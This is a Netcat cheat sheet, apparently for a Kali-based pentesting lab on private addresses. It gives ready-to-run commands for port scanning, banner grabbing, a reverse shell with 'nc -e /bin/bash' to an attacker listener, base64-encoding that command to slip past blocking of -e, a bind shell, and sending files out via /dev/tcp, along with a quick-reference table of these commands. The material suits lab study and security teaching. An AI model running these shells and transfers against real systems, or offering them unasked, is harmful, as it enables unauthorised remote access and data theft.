



Netcat (nc) Cheat Sheet & Walkthrough

Tool: nc (Netcat)

Purpose: TCP/UDP network exploration, reverse shells, file transfers

Color Legend:

- **Blue:** Tool/utility
 - **Green:** Commands
 - **Orange:** Important notes/output
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1 Checking if a Port is Open (Port Scanning)

Netcat can be used as a lightweight port scanner:

```
nc -zv 192.168.56.119 22 80 443
```

- -z → zero-I/O mode (just scanning)
- -v → verbose mode
- ● Output example: **Connection to 192.168.56.119 80 port [tcp/http] succeeded!**

Scan a range of ports:

```
nc -zv 192.168.56.119 1-1000
```

2 Banner Grabbing

Check the service running on a port:

```
nc 192.168.56.119 22
```

- ● Will show the SSH banner (e.g., SSH-2.0-OpenSSH_7.4)
 - Useful for **service enumeration**.
-

3 Reverse Shell (TCP Connection)

Step 1 — Set up Listener on Kali

```
nc -lvp 4444
```

- -l → listen mode
- -v → verbose

- -n → numeric-only (no DNS resolution)
- -p → port number

Step 2 — Execute Reverse Shell on Target

```
nc -e /bin/bash 192.168.56.106 4444
```

- -e /bin/bash → executes bash shell over TCP
- ● Once executed, Kali listener receives a remote shell

⚠ Some targets may block -e. Use **base64 encoding** as a bypass:

```
echo 'nc -e /bin/bash 192.168.56.106 4444' | base64  
echo 'ENCODED_STRING' | base64 -d | bash
```

4 Bind Shell (Target Listens)

On target:

```
nc -lvnp 5555 -e /bin/bash
```

On attacker:

```
nc 192.168.56.119 5555
```

- ● Attacker connects directly to a shell running on target
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5 File Transfer

Step 1 — Receive File on Kali

```
nc -lvnp 3333 > file.txt
```

Step 2 — Send File from Target

```
cat file.txt > /dev/tcp/192.168.56.106/3333
```

- ● File successfully transferred over TCP
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6 Simple Chat/Communication


Create a simple two-way chat:

On host 1:

```
nc -lvnp 9999
```

On host 2:

```
nc 192.168.56.106 9999
```


-  Messages sent between terminals over TCP.

HTTP Request via Netcat

```
nc 192.168.56.119 80
```

Then type:

```
GET / HTTP/1.1  
Host: 192.168.56.119
```

-  Retrieve the homepage HTML without a browser

✂ Netcat Quick Reference Table

Use Case	Command	Notes
Port Scan	<code>nc -zv IP PORTS</code>	Quick TCP port check
Banner Grab	<code>nc IP PORT</code>	Enumerate service version
Reverse Shell	<code>nc -lvnp LPORT & nc -e /bin/bash LHOST LPORT</code>	Remote shell
Bind Shell	<code>nc -lvnp PORT -e /bin/bash</code>	Target listens
File Transfer	<code>nc -lvnp PORT > file & cat file > /dev/tcp/...</code>	Transfer files over TCP
HTTP Request	<code>nc IP 80 + GET / HTTP/1.1</code>	Simple web page retrieval
Chat	<code>nc -lvnp PORT & nc IP PORT</code>	Simple TCP messaging